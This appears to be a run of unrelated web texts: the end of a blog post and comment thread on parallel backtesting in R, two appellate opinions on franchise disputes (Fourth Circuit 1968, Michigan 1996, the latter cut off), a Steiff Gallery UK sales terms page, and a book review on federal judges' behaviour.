Also of note is that I did not require any special code to populate the "worker" R sessions with the various objects required for the computation. Some other parallel computing systems for R require a lot of housekeeping to make sure that each R session has all the data it needs, but with ParallelR this isn't necessary. ParallelR automatically analyzed my code, and knew that it needed to transmit objects like Rb to the worker sessions. The only housekeeping I needed to do was to indicate that the packages xts and TTR should be loaded for each worker session, and that the results should be combined into a matrix rather than a list.
So to sum up, ParallelR and the foreach function provide a simple mechanism to speed up "embarrassingly parallel" problems, even on modest hardware like a dual-core laptop. In many cases, with just a simple conversion from the for syntax to the foreach syntax you can get significant speedups without having to worry about many of the housekeeping details of setting up worker R sessions. And for the really big problems, you just need to change one line of code to move your job onto a distributed cluster or grid.
If you want to try this out yourself, download the two files below. The first file is the data for INTC and IEF, downloaded from Vhayu. You'll need to run the script parallelbacktesting.R in REvolution R Enterprise 2.0. You'll also need version 0.6 or later of the xts package.
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David (and Bryan),
This is awesome! Thanks for sharing the code!
One (trivial?) comment:
I was a bit confused about where the INTC and IEF data came from until I got to the end of the post. I would have expected to see a "load('Vhayu.Rdata')" command before the chartSeries call.
great post, but is there not a lagging issue here? don't you need to lag the signal by a day to make sure you are not capturing the return on the day that the macd signals (i.e. removing a current day look forward?)
@Brian, I *think* the code is correct. (Going by memory here -- I haven't rerun the code lately.) It's unusual R syntax, but it's returning either the value "long" or "benchmark" according to the value of "s" -- treated as numeric, (s>0) is a sequence of 1's and 0's.
It looks as if can skip the s <- xts(position,order.by = index(z))
I made it a comment by adding # before it.
Then when applying the rule I past the "position" into the rule! I maybe missing something but the position is and xts object and needs not be converted?
return(long*(position>0)+benchmark*(position<=0))
Below is the code and how I changed it. Any feedback would be great! Also, I think you have a lag issue? While I'm asking questions, what would be the quickest way to subset the data to test different time frames?
Thank you,
Douglas |
395 F.2d 58
B. E. DURHAM, t/a North Carolina Residential Water Company and Water Company, Inc. of Kannapolis, North Carolina, Appellant,v.STATE OF NORTH CAROLINA, North Carolina Utilities Commission, and Kannapolis Sanitary District, Appellees.
No. 12079.
United States Court of Appeals Fourth Circuit.
Argued April 1, 1968.
Decided May 7, 1968.
A. Philip Towsner, Washington, D. C. (Z. V. Morgan, Hamlet, N. C., on brief), for appellant.
George A. Goodwyn, Asst. Atty. Gen. of North Carolina, for appellee State of North Carolina.
Edward B. Hipp, Raleigh, N. C., General Counsel, for appellee North Carolina Utilities Commission.
Beverly C. Moore, Greensboro, N. C. (Bachman S. Brown, Jr., Kannapolis, N. C., Norman B. Smith, Greensboro, N. C., and John Hugh Williams, Concord, N. C., on brief), for appellee Kannapolis Sanitary District.
Before SOBELOFF, BRYAN and CRAVEN, Circuit Judges.
ALBERT V. BRYAN, Circuit Judge:
1
Water Company, Inc. of North Carolina and its chief stockholder, B. E. Durham, seek damages of the State, its Utilities Commission, and the Kannapolis Sanitary District for infringement of its franchise. The District Court granted defendants' motions to dismiss and plaintiff has appealed. We affirm.
2
In 1951, Durham received a certificate of franchise from the Commission entitling him to operate a waterworks and distribution system in certain areas of Rowan and Cabarrus Counties. In 1959, it approved a transfer of his operations to the Water Company which has been serving approximately 1200 area residents ever since.1 It is the real plaintiff here.
3
Kannapolis Sanitary District is a body politic and corporate established in 1963 under the laws of North Carolina.2 As a public utility, its principal purposes are to provide water and sewerage facilities to persons within its limits. Its territory includes portions of that covered by the Water Company, and its potential operational field embraces some 22,000 residents. Prior to the establishment of the District, the area had no general water system, only limited fire protection, and sewerage disposal was by septic tank and privy. These deficiencies will be cured by the District when its building program is completed.
4
For organization of the District, its proponents were required by law first to present to the County Commissioners a petition signed by at least 51 per cent of the resident freeholders within its proposed service region. It had also to pass the scrutiny of public hearings before the local County Commissioners and convince them, as well as the residents and the State Board of Health, that the public health and welfare would be advanced by the District.3 All these tests were passed by the District, and all without protest or objection from the plaintiff Water Company.
5
Thereafter, in 1963, the District received a commitment for a loan of $6,015,000.00 from the Federal Housing and Home Finance Agency.4 Afterwards, an issue of $6,354,000.00 in water and sewer bonds was approved in an election by residents within the reach of the District. Construction began in 1967 for readiness in November 1968.
6
The defendant District asserts, and it is not denied, that in 1966 it expressed an interest in purchasing from the Water Company those portions of its properties which could be conveniently incorporated into the system planned by the District. Negotiations ensued, but without success because the Water Company put an excessive price on its assets. Also, it refused to sell separately and alone those items which would prove useful to the District.5
7
In May 1967, pursuant to its financing plan, the District applied for the issuance of bond anticipation notes. Then in August the Water Company began this action, and so prevented the District from obtaining the non-litigation certificate necessary for negotiation of the notes.
8
Damages of $1,000,000.00 are sought on the allegation that entry by the District into the Water Company's area of operations constitutes an impairment of its franchise, the equivalent of an uncompensated taking. Federal question jurisdiction is invoked by grounding the action on the fourteenth amendment.6 Premise of recovery against the State of North Carolina and the Utilities Commission is unclear. With respect to them, the complaint alleges only that:
9
"2. The former two party defendants caused to be issued [to plaintiff] a legally constituted and effective franchise to operate a water service business in the area of Kannapolis, North Carolina * * *.
10
"3. Plaintiff has prudently operated a water service company, in accordance with established rates, since a date prior to May 27, 1931.
11
"4. On or about and prior to January, 1964, to wit, there was caused to be created the Kannapolis Sanitary District, to include the encompassing of the area specifically franchised to Plaintiff."
12
From this the District Court inferred, as do we, that the action purported to declare the fourteenth amendment violation against all the defendants. The fatal infirmity of the case is that the Water Company concedes it has only a non-exclusive franchise and, indeed, North Carolina's Constitution forbids the granting of an exclusive license, N.C. Const., Art. 1, §§ 7, 31.
13
Further, it has long been settled that the holder of a non-exclusive franchise has no monopoly, and cannot complain of competition from a publiclycreated utility system. E. g. Hill v. Elizabeth City, 298 F. 67 (4 Cir. 1924); Elizabeth City Water & Power Co. v. Elizabeth City, 188 N.C. 278, 124 S.E. 611 (1924). Phrased another way, the creation by a State of a competing public utility does not amount to a "taking" compensable under the fourteenth amendment. Newburyport Water Co. v. City of Newburyport, 193 U.S. 561, 577, 24 S.Ct. 553, 48 L.Ed. 795 (1904). Thus in Helena Water Works Co. v. Helena, 195 U.S. 383, 392, 25 S.Ct. 40, 43, 49 L.Ed. 245 (1904), the Supreme Court said:
14
"It is doubtless true that the erection of such a plant by the city will render the property of the water company less valuable, and perhaps, unprofitable, but if it was intended to prevent such competition, a right to do so should not have been left to argument or implication, but made certain by the terms of the * * * [franchise]."
15
The conclusion that in law the State has neither expropriated or damaged the plaintiff's rights of property warranted the District Court's dismissal of the action on North Carolina's motion. Assuming that plaintiff has a claim in tort against the State, which we doubt, there is here neither the requisite citizenship diversity for Federal jurisdiction, nor a showing of the State's waiver of sovereign immunity.
16
Identical to those against the State, but even more tenuous, the claims pressed upon the Utilities Commission fail for the same reasons. Furthermore, the Commission is unrelated to the Sanitary District. The Commission did not create the District, has no control or regulation of it and is not answerable for the District's acts. The decision of the trial judge granting the Commission's motion to dismiss must stand.
17
Plaintiff Water Company couches its claim against the District in these words:
18
"5. On or about August 26, 1965, to wit, the said Kannapolis Sanitary District, pursuant to its request was advised in writing by Plaintiff as to the value of its property rights, which to date the said Kannapolis Sanitary District has not replied to and continues to ignore the constitutional right of the Plaintiffs.
19
"6. On or about November 11, 1965 and prior thereto and to wit, without the approval of the Plaintiff, the said third party defendant commenced contacting customers of Plaintiff, inducing them to contract with the said third party defendant for services heretofore contracted with Plaintiff, with full knowledge by all defendants that there is in existence an effective contract between the Plaintiff and his respective customers.
20
"7. On or about June 19, 1967, to wit, without the approval of the Plaintiff, the said third party defendant destroyed certain property of Plaintiff, necessary to Plaintiff's business as a water company, and continues to destroy similar property without prior advice to Plaintiff and without any authority from Plaintiff."
21
On oral argument of the motions to dismiss, the Water Company clarified somewhat its cause of action as pleaded. From this it appears that the plaintiff contends that its fourteenth amendment rights were infringed by an attempt of the District to contract with the Water Company's customers. The assertion has no merit, for the holder of a non-exclusive franchise, as earlier noted, has no immunity from competition. Hill v. Elizabeth City, supra, 298 F. 67 (4 Cir. 1924).
22
Plaintiff's second claim against the District is that it "destroyed certain property" of the Water Company. Apparently, the District in installing its mains and meters damaged some of those of the plaintiff. The District admits this, but insists that it has made full repairs. Regardless of their merit, these claims certainly do not tender a Federal question. Damage of that kind is not a "taking" within the meaning of the fourteenth amendment. Whether there is an available State court tort action is not an issue here, but the present complaint certainly does not attain constitutional stature.
23
Unquestionably, the creation of the District was a serious economic blow to the Water Company. Once in operation, the Water Company may well be unable to compete, and its continued existence can be jeopardized. The parties seemed to realize this; their negotiations for the sale and acquisition of the Water Company's properties indicate their awareness. What we said, apropos of very similar circumstances, in Hill v. Elizabeth City, supra, 298 F. 67, 70 (4 Cir. 1924) seems equally applicable here:
24
"The court is constrained to say that the loss which a failure of the parties to agree will entail ought to be averted. There is an amount of money, as everybody knows, which expresses the value of the existing plants to the municipality for use in its own construction. The hope is indulged that some one will have the wit to find that amount, even in the cloud of feeling, and make the rightness of it so plain that it will be paid and accepted."
25
The judgment of the District Court is affirmed.
26
Affirmed.
Notes:
1
Durham has operated a waterworks since 1931, but did not obtain a franchise until 1951
2
Gen.Stat.No.Car. §§ 130-123 et seq. (1964), as amended, Gen.Stat.No.Car. §§ 130-124 et seq. (Cum.Supp.1967)
3
See statutes cited in note 2, supra
4
See 12 U.S.C. §§ 1701 et seq
5
According to the District, the Federal Government, through the Housing and Home Finance Agency, permitted the District to purchase only equipment which could be used in its system
6
U.S.Const., Amend. XIV provides in pertinent part "No State shall * * * deprive any person of life, liberty or property, without due process of law * * *."
|
These General Terms and Conditions shall apply to any and all mutual claims arising from and in relation with agreements made between you and Steiff Gallery UK, Regents Arcade, Unit 75 The Glades Shopping Centre, Bromley, Kent BR1 1DD, (hereinafter referred to as "Steiff Gallery") through online trade. Any differing terms and conditions shall not be accepted unless Steiff has expressly agreed to their application in writing.
§ 2Conclusion of agreements
1.The purchase order shall constitute your offer (declaration of agreement) for the conclusion of a sales agreement to Steiff Gallery, to which you shall be bound for 2 weeks and subsequently until the receipt of a written revocation by Steiff Gallery. The receipt of the purchase order shall be confirmed by Steiff Gallery by e-mail. Such order confirmation shall not be deemed an acceptance of your purchase order but only inform you that your purchase order has been received by Steiff Gallery. The agreement shall be deemed concluded either by a further express declaration of acceptance by Steiff Gallery or upon the dispatch or delivery of the ordered goods.
2.Steiff Gallery shall only enter into agreements with you if you have unlimited legal capacity, i.e. no agreement shall be made if you are a minor.
§ 3Right of return
1.You shall be entitled to return the goods received without having to indicate any reasons within two weeks by returning the goods. Such period shall start upon receipt of the information about this right in writing (e.g. by letter, fax, e-mail), however not before the goods have been received by the recipient and not before our obligations to inform in accordance with § 312c para. 2 BGB [German Civil Code] in conjunction with § 1 para.1, 2 and 4 BGB-InfoV [Regulation about the obligations to inform and provide evidence under civil law] as well as our obligations in accordance with § 312e para.1 sentence 1 BGB in conjunction with § 3 BGB-InfoV have been fulfilled. Only with goods that cannot be dispatched by parcel (e.g. with bulky goods) may you declare the return by means of a written request to take back the goods. In order for this period to be deemed met, it shall be sufficient to dispatch the goods or the request to take back the goods within such period. Goods are sent back at your own risk, so please send by recorded means. Postal charges will not be refunded. The return or request to take back the goods shall be made to:
2.In the event of an effective return, anything that has mutually been received in performance of the agreement and any benefits already received (e.g. benefits through use) shall be restored. In the event of a deterioration of the goods, compensation for lost value may be claimed.This shall not apply if the deterioration of the goods can exclusively be attributed to their inspection – as, for instance, it would have been possible at a shop. For the rest, you can avoid to become liable for compensation for a deterioration that is due to having used the object for its intended purpose by not using the goods as if you were their owner and refraining from anything that might affect their value. Any obligations to refund payments shall be fulfilled within 30 days. This period shall start upon the dispatch of the goods or the request to take back the goods for you and upon their receipt for Steiff Gallery.
3.The right of return shall not apply if the ordered goods are manufactured or modified according to your wishes, e.g. personal bears, articles from the bear configurator, studio pets or customised embroideries.
2.Any information about delivery periods shall be non-binding; this shall also and particularly apply if an article is labelled "available from...". Indicated delivery periods shall only be binding if the delivery date has expressly been promised as binding by way of exception.
3.If articles are ordered that are not available on the date of the purchase order (e.g. labelled "available from..." or "currently not available"), Steiff Gallery may withdraw from any agreement that has been made if the article is ultimately not manufactured anymore. Its withdrawal shall be deemed declared upon an according notification to you. In such event, you shall be released from your payment obligation as well as Steiff Gallery shall be released from its delivery obligation. Any further mutual damage claims shall be excluded.
4.If any disturbances of the business operations occur with Steiff Gallery or its suppliers that cannot be attributed to them, particularly events of force majeure, which are due to an unforeseeable and uncaused event and lead to severe interruptions of operations and render the performance of the agreement impossible, Steiff Gallery shall be entitled to withdraw from the agreement. You shall then be released from your payment obligations, and Steiff Gallery shall be released from its delivery obligations. Steiff Gallery shall immediately refund any (down-)payments that have already been made. Any further mutual damage claims shall be excluded.
§ 5Prices/payment
1.The prices shall not include any delivery charges. Unless expressly otherwise agreed upon, the delivery charges to the amount of 7 Pounds for the UK and 14 Pounds for Europe shall be borne by you.
2.The only payment option available to you shall be payment by credit card (Visa, Mastercard).
§ 6Warranty/liability
1.The warranty shall be subject to the legal provisions.
2.The warranty shall not cover any defects that arise with you due to natural wear, moisture, improper treatment or improper storage. Likewise, customary deviations with the materials used, particularly with respect to colour shades, that are reasonable for you shall be reserved.
3.Unless expressly otherwise agreed upon, the descriptions given in catalogues, brochures or other publications shall constitute descriptions of the properties of the delivered goods and their potential use but no warranted durability or properties.
4.Any guarantee promises shall at any case expressly be confirmed by Steiff Gallery.
5.Any further damage claims on any legal grounds whatsoever, particularly for breach of agreed collateral obligations, claims for damages due to tortuous acts or compensation for costs shall be excluded. This shall not apply if a material obligation under the agreement (cardinal obligation) has been breached or the damage has been caused by wilful or grossly negligent conduct. The exclusion of liability shall not apply either to any culpable damage to life, body or health. Notwithstanding the exclusion of liability, claims under the product liability act or based on any promised guarantees, provided that it is the object of such guarantee that triggers the liability, shall also continue to apply.
§ 7Retention of title
The title to any and all items delivered shall remain with Steiff Gallery until any and all obligations under the agreement have completely been fulfilled. You shall not be entitled to resell the retained goods without the consent of Steiff Gallery.
§ 8Offsets/retention
1.You shall only be entitled to make offsets if your counterclaims have finally been established or are undisputed by Steiff Gallery.
2.Furthermore, you shall only be entitled to execute a right of retention if your counterclaim is based on the same agreement.
§ 9Data protection
We shall hereby inform you that personal data as defined by the Federal Data Protection Act will be processed in the course of the business relationships or in relation with such. Subject to your objection, such data shall also be used in order to inform you about the products and services of Steiff Gallery. You shall hereby be informed that you may at any time object to such use of your data in writing (e.g. by letter, fax, e-mail). Further information can be seen from the declaration on data protection under www.steiff-gallery-london.co.uk
§ 10Final provisions
1.The legal relationships between you and Steiff Gallery shall exclusively be governed by the laws of the UK (England); the UN Convention on Contracts for the International Sale of Goods (CISG) and the provisions of private international law shall be excluded.
2.The place of jurisdiction and the place of performance shall be the domicile of Steiff Gallery if you are a businessperson or you place of residence is not within the UK. However, Steiff Gallery shall also be entitled to sue you at your general place of jurisdiction.
3.If any provisions are entirely or partially ineffective, this shall not affect the effectiveness of the remaining provisions.
4.
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There are many, many books written that attempt to explain judicial decision making, from a variety of theoretical viewpoints. What Epstein, Landes and Posner attempt to do, in The Behavior of Federal Judges, is integrate much of it into a treatise on federal judicial decision making from an economic perspective. Using data from all levels of federal courts (i.e., the U.S. Supreme Court, the U.S. Courts of Appeals, and the U.S. District Courts) and considering political science and legal research on various aspects of decision making, Epstein, Landes and Posner make the overarching point, via careful empirical inquiry, that judges make policy and are influenced by their ideology, but that is decidedly not the end of the story. Rather, judges are also workers, seeking leisure and promotion and good relations with their colleagues, superiors, and audiences, just like other workers, and that not all judges, not even all federal judges, behave in exactly the same ways. There is much here to commend to readers, especially those unfamiliar with the political science research on judicial behavior, and their overall theme – that neither law nor ideology alone explain judicial behavior – is well substantiated. I detail the contributions they make, along with my analysis of them, below.
One obvious contribution of the book is the breadth of political science and legal scholarship discussed and analyzed. They carefully situate their rational choice perspective on decision making within the larger political science and legal academic literature such that one comes away with an enhanced understanding of the contributions and limitations of much of what has been written so far on the behavior of federal judges.
A second contribution is the aforementioned focus on all federal courts rather than on just one. Even with increased attention to the Courts of Appeals, the U.S. Supreme Court remains the most frequent target of scholarly attention, and very few analyses attempt to study more than one level of the federal courts simultaneously. Their tripartite focus shows in stark relief what we suspect to be true: Ideology is differentially influential as one travels up the hierarchy, with District Court decisions least influenced by ideology and Supreme Court decisions most ideologically-driven. Of course, it is unclear whether that effect is driven by a selection effect (different cases) or an institutional effect (different motivations borne of different institutional designs). The analysis tracking the same cases as they travel up the pipeline (see Table 5.13) seems to suggest the institutional effect, though the authors continue to [*313] expect that case selection matters as well. And, the study generally demonstrates the operation of institutional differences among the courts via its focus on a labor-market model of judicial behavior.
Ambition, for example, is influential on the decision making of lower federal judges, and not Supreme Court justices. In a novel analysis, the authors find that “auditioners” (i.e., Courts of Appeals judges that, due to their characteristics, have the best chance of being promoted to the Supreme Court) – similar to elected judges, actually – alter their behavior in criminal cases, voting more often against defendants in capital cases. (The District Court analysis is not as convincing, given data issues.) A desire for work-place harmony and effort aversion matters to circuit court judges, sitting in rotating panels of three and hearing a mandatory (and large) caseload. They find a “conformity effect” for circuit judges (i.e., that as the proportion of judges in the circuit becomes more Republican, decisions are more likely to be conservative); while I wonder whether there is a real desire to conform or instead some sort of attempt to avoid or consider reversal en banc (an idea they do entertain in Chapter 6 on dissents), their finding of a significant ideological influence that is, nonetheless, weaker than that found at the Supreme Court level, confirms theoretical expectations. Interestingly, as the authors point out, these findings all have ramifications for the usefulness of the voting record of Courts of Appeals judge for predicting voting on the Supreme Court. As they show in Chapter 6 on dissents, many of the circuit-judges-turned-Justices were significantly less likely to vote ideologically while on the circuit court than they did once elevated to the Supreme Court.
In studying the District Courts, Epstein, Landes, and Posner raise the fascinating idea of a “paradox of discretion,” owing to their confirmation that the Courts of Appeals are deferential to the decisions made by the District Courts (often due to legally-binding standards of review). They argue that a paradox is created because the more deferential (legally-driven) the Courts of Appeals are, the more room District Court judges have to make decisions based on their ideology. Their analysis does not find evidence, however, that District Court judges in deferential circuits are more ideological, though the possibility of reverse causality (i.e., that circuits facing ideological district court judges are less deferential than circuits facing non-ideological District Court judges) seems possible here. Overall, the authors find a modest ideological influence on District Court decisions and some evidence of effort aversion and reversal avoidance. Studying the District Courts is difficult due to the paucity of data, so the analysis here is at the district level and not at the likely preferable individual-judge level.
The book makes several other substantial contributions. Epstein, Landes and Posner conduct a couple of Supreme-Court-only analyses, modeling unanimity (often ignored by attitudinalists) and oral argument questioning (relied upon by many to predict decision outcome). They find that cases without dissent in the lower court, cases with intercircuit conflicts, non-civil liberties cases, cases that reverse the lower court, and cases involving judicial power – in other words, cases wherein the ideological [*314] stakes are arguably not high – are more likely to be decided unanimously (and ideology matters very little to their decision). (Their take on conflict cases – that they are not ideologically-charged but are rather cases that the Court feels obligated to take – is not one I had considered.) Casting questioning at oral argument variously as a substitute for deliberation, as a means of filibustering good arguments (a neat idea), and as expression having its own utility, they find that questions are good predictors of votes. It is unfortunate that these analyses cannot be extended to the other levels of the federal judiciary, consistent with their tri-level focus (and the oral argument chapter, on its own, is a bit of an uncomfortable fit with the rest of the book).
In addition, they do a lot of data work and make all of their data sets available via Epstein's website . While I would be interested in a more in-depth discussion of the “corrections” they made to the major courts databases (which essentially involved moving certain cases out of an ideological classification and into an unclassifiable one), it is a huge service to scholars to offer up the fruits of their labor so freely. They also create a new measure of ideology before appointment for all judges (and make this database available as well), using biographical and other information available at the time of the appointment to categorize judges as strongly conservative, moderately conservative, moderately liberal, and strongly liberal. They demonstrate the validity of their measure by compiling it for Supreme Court justices and comparing their scores with extant measures, but we are not given enough information about the construction of the measure to completely evaluate its utility. (What kind of information is relied upon, from which sources? Are any ideologically biased? Is there variation in the amount of information available across judges?) And, the categorical nature of the variable is disappointing (as are all instances of data reduction in the book).
Finally, they end with a chapter full of future research ideas about which many graduate students in political science will likely get very excited (and should!), including studying the influence of judicial staff on decision making, the use of plain meaning analysis as a time-saver, and the hierarchical ramifications of the Supreme Court’s diminishing caseload, among many others.
Overall, this is a solid piece of research, much of it original to the book, and it ought to be quite useful in convincing those still holding onto the legal model of decision making that it is just not supported by the evidence. Indeed, that audience – presumably those in the legal academy, practicing lawyers, and maybe even the judges themselves – have the most to gain from the book. There are things here, as well, to challenge the ideology-only school of judicial decision making, though much of that evidence is at the lower court level where not even the true believers negate the influence of forces other than ideology. Treating the judge as a worker is a new conceptualization with much face validity and it leads to some interesting analyses attempting to uncover leisure-seeking, promotion-seeking, and conformity-seeking behavior, even if [*315] some of that evidence is not particularly surprising and some it is debatable. In the end, it is unclear how much we really gain via the labor-market model. But it is unmistakable that this book is a fantastic synthesis of what we know about federal judges, complete with original tests of some important gaps in our knowledge, placed into the context of the federal judiciary writ large through the lens of realism. The authors assert that “this book is the fullest statistical study of judicial behavior of which we are aware (and the only one, we believe, to consider all three levels of the federal judiciary and their interactions to be thoroughly grounded in a realistic conception of judicial incentives and constraints)” (p.387). I can go along with that. |
554 N.W.2d 17 (1996)
218 Mich. App. 54
Leonardo MARTINO and Trans One II, Inc., a Michigan corporation, Plaintiffs-Appellees,
v.
COTTMAN TRANSMISSION SYSTEMS, INC., a Pennsylvania corporation, Defendant-Appellant, and
Michigan Bell Telephone Company, a Michigan corporation, Defendant.
METRO DISTRIBUTING, INC., d/b/a A-1 Transmissions of Livonia, Ernest Iafrate, Gail Iafrate, Viper Transmissions, Inc., Richard Hamilton, Mark Culbertson, T.G.I.W., Inc., Robert L. Reimer, J.P. 1, Inc., James Dillon, Jim Dixon Enterprises, Inc., d/b/a A-1 Transmissions of Westland, Jim Dixon, G.G.S., Inc., d/b/a A-1 Transmissions, Jim Gregory, Bodnar, Inc., Anthony A. Bodnar, Tri Continental Petroleum, Tim Gaul, J.B.S. Enterprises, Inc., Philip V. Vermiglio, G. & I. Enterprises, Inc., Milton Green, and Michigan Bell Telephone Company, Plaintiffs-Appellees,
v.
COTTMAN TRANSMISSION SYSTEMS, INC., a Pennsylvania corporation, Defendant-Appellant.
Docket Nos. 167208, 170567.
Court of Appeals of Michigan.
Submitted May 17, 1996, at Detroit.
Decided July 30, 1996, at 9:10 a.m.
Released for Publication September 27, 1996.
*19 Rosati Associates, P.C. by A.D. Rosati, West Bloomfield, for plaintiffs.
Dykema Gossett by Fred L. Woodworth and Thomas M. Pastore, Detroit, for defendant.
Before: TAYLOR, P.J., and MARILYN J. KELLY and J.R. COOPER,[*] JJ.
*18 MARILYN J. KELLY, Judge.
Defendant Cottman Transmission Systems, Inc. appeals from grants of partial summary disposition for plaintiffs in two cases, consolidated on appeal. Cottman asserts that plaintiff Leonardo Martino's action for rescission is barred by res judicata, because a prior Pennsylvania judgment should be given full faith and credit by Michigan courts. It argues that plaintiffs Martino and Trans One II, Inc., failed to state a cause of action for rescission under M.C.L. § 445.1531; M.S.A. § 19.854(31), because Pennsylvania rather than Michigan law controls the franchise agreement. Cottman asserts that plaintiffs have unclean hands which bar their claim for rescission. Finally, it alleges that issues of material fact remain unresolved, precluding summary disposition. We affirm in part and remand for further findings.
I
Cottman is a Pennsylvania corporation which licenses automotive transmission service centers in various states. Due to financial problems, Cottman and A-1 Transmissions entered into an agreement where Cottman would offer existing A-1 franchisees the opportunity to convert to Cottman Transmission franchises. The converted franchises would operate as A-1/Cottman Transmission Centers. Cottman also agreed to manage all franchise services on behalf of A-1 for franchisees who opted not to convert. Upon signing the agreement with A-1 Transmissions, Cottman held meetings with the A-1 franchisees. Cottman provided plaintiffs with a modified Uniform Transmission Offering Circular, but did not give them a separate Michigan Circular. Plaintiffs converted to an A-1/Cottman franchise.
In December, 1991, Cottman allegedly discovered that Martino was underreporting his gross sales and defrauding Cottman of licensing and advertising fees. On March 3, 1992, Cottman filed a lawsuit against Martino in Pennsylvania for breach of the franchise contract. Instead of responding to the complaint, Martino filed this action for rescission. He claimed that Cottman failed to provide proper notice that certain of its contract's provisions are void and unenforceable under Michigan law, as required by M.C.L. § 445.1508(3); M.S.A. § 19.854(8)(3). Meanwhile, a default judgment was entered against Martino in the Pennsylvania action.
In this case, the trial court granted Martino's motion for summary disposition, holding Cottman failed to comply with M.C.L. § 445.1508(3); M.S.A. § 19.854(8)(3) and M.C.L. § 445.1531(2); M.S.A. § 19.854(31)(2). It granted plaintiffs' request for a rescission.
II
We review a trial court's grant of summary disposition de novo examining the *20 record to determine whether the prevailing party was entitled to judgment as a matter of law. G & A Inc. v. Nahra, 204 Mich.App. 329, 330, 514 N.W.2d 255 (1994).
Defendant argues that res judicata bars Martino's action for rescission. The doctrine of res judicata is applied broadly. It includes issues which the parties sought to have adjudicated as well as "every point which properly belonged to the subject of litigation, and which the parties, exercising reasonable diligence, might have brought forward at that time." Van Pembrook v. Zero Mfg. Co., 146 Mich.App. 87, 100-101, 380 N.W.2d 60 (1985).
Cottman instituted the Pennsylvania action for breach of the franchise contract. It alleged that Martino was systematically underreporting his gross sales and defrauding Cottman. The cause of action in Michigan seeks rescission of the franchise agreement for Cottman's failure to provide proper notice as required by the Michigan Franchise Investment Law (MFIL), M.C.L. § 445.1501 et seq.; M.S.A. § 19.854(1) et seq. A different set of proofs is required for each of the two causes. Moreover, the subject matter is different. As a consequence, res judicata does not bar plaintiffs' claim for rescission. Van Pembrook, supra at 101, 380 N.W.2d 60.
Nor does plaintiffs' failure to raise rescission as a counterclaim to the Pennsylvania complaint bar this action. The full faith and credit clause of the federal Constitution requires that judgments be given the same full faith and credit in every court within the United States as they have by law or usage in the courts of such State from which they are taken. U.S. Const., art. IV, § 1. Its purpose is to prevent the litigation of issues in one state that have already been decided in another. Van Pembrook, supra at 104, 380 N.W.2d 60.
Were the issue before us the enforcement of the Pennsylvania judgment, we would conclude that the judgment must be enforced. Int'l Recovery Systems, Inc. v. Gabler (On Rehearing), 210 Mich.App. 422, 424, 527 N.W.2d 20 (1995). However, the issue before us today, notwithstanding the Pennsylvania judgment, is whether plaintiffs are nevertheless entitled to rescission.
We find that the full faith and credit clause in conjunction with res judicata does not preclude plaintiffs' action for rescission. Plaintiffs' rescission claim is grounded in Michigan's franchise statute. Pennsylvania's laws contain no analogous right. Therefore, because the Pennsylvania court did not apply Michigan law in deciding the breach of contract action, plaintiffs could not have raised Michigan's statutory remedy of rescission. In effect, plaintiffs would have to forfeit the claim. The full faith and credit clause does not compel such a result. See Van Pembrook, supra at 104-105, 380 N.W.2d 60.
The dissent argues that plaintiffs could have brought a fraud claim in Pennsylvania or attempted to change venue to Michigan. However, the issue before us today is not what could have been done differently in Pennsylvania, but rather, whether plaintiffs' rescission claim is barred. The hypotheticals posed by the dissent are irrelevant to the issue before us.
Finally, we must determine whether Pennsylvania's, rather than Michigan's, franchise laws should be given effect out of comity.
We are hesitant to overrule Michigan law where the laws of another state would contravene Michigan's public policy. The public policy of this state is fixed by its constitution, its statutes and the decisions of its courts. Van Pembrook, supra at 105, 380 N.W.2d 60.
The MFIL has deemed that certain contractual provisions are void and unenforceable as between franchisors and franchisees. M.C.L. § 445.1508(1) and (3); M.S.A. § 19.854(8)(1) and (3). The provisions are found in M.C.L. § 445.1527; M.S.A. § 19.854(27). Included is the requirement that, at least ten business days before executing a franchise agreement, the franchisor must notify the prospective franchisee of contractual provisions which the statute renders unenforceable.
Pennsylvania law contains no such requirement. If we were to apply Pennsylvania's law in ruling on this Michigan case, we would effectively override Michigan's law. The effect *21 would be to abrogate plaintiffs' right to rescind. We find that Pennsylvania law should not be given preclusive effect where it would nullify the law of this state as expressed in the MFIL.
III
Alternatively, defendant argues that Pennsylvania law must be followed, because the franchise agreement stated that Pennsylvania law controlled the franchise agreement.
In a similar situation, the Michigan Supreme Court ruled that, when determining the applicable law, we are required to balance the expectations of the parties with the interests of the States. Chrysler Corp. v. Skyline Industrial Services, Inc., 448 Mich. 113, 125, 528 N.W.2d 698 (1995). In doing so, the Court adopted, as guidelines, §§ 187 and 188 of the Second Restatement of Conflicts.
Section 187(1) permits the application of the parties' choice of law if the issue is one the parties could have resolved by an express contractual provision. However, there are two exceptions. The parties' choice of law will not be followed if (1) the chosen state has no substantial relationship to the parties or the transaction, or (2) there is no reasonable basis for choosing that state's law. Section 187(2)(a). Also, § 187(2)(b) bars the application of the chosen state's law when it "would be contrary to the fundamental policy of a state which has a materially greater interest than the chosen state in the determination of the particular issue, and which, under the rule of § 188, would be the state of the applicable law in the absence of an effective choice of law by the parties."
Here, we find compelling evidence that, in this state, Michigan has a materially greater interest than Pennsylvania in applying its franchise laws. A fundamental policy may be embodied in a statute which (1) makes one or more kinds of contracts illegal or (2) which is designed to protect a person against the oppressive use of superior bargaining power. Comment g to § 187 of the Restatement 2d, p. 568. As gleaned from the MFIL, Michigan's notice requirements are designed to make certain contract provisions illegal and to protect potential franchisees from the superior bargaining power of franchisors.
Applying Pennsylvania, rather than Michigan, law would result in a substantial loss of protection provided by the MFIL. As franchisors under Pennsylvania law do not have to provide the notice required by the MFIL, Pennsylvania's franchise law violates the fundamental public policy of Michigan. Therefore, Michigan law, not Pennsylvania law, applies.
IV
Cottman asserts that, if Michigan law applies, plaintiffs' claim for rescission is foreclosed by their own unclean hands and material breach of the franchise agreement. We find that no language in the statute suggests that the fact a franchisee's hands are unclean is considered in deciding whether to allow rescission. Moreover, in Interstate Automatic Transmission Co., Inc. v. Harvey[1] this Court allowed rescission even though the franchisee was being sued for failure to pay royalties in violation of the franchise agreement. We did not require that the franchisee have clean hands before allowing rescission. We will not impose the requirement of clean hands on a franchisee where the MFIL gives a franchisee an unqualified right to rescission upon a franchisor's violation of the MFIL.
The dissent relies on Stanton v. Dachille[2] for the proposition that "absent express legislative instruction to the contrary, a trial court should not grant rescission unless the party requesting it is blameless." However, Stanton does not stand for that proposition. Stanton involves a generic contract case. It does not mention the absence of legislative instruction. It does not involve a situation, such as is present here, where rescission is a remedy afforded by statute.
*22 V
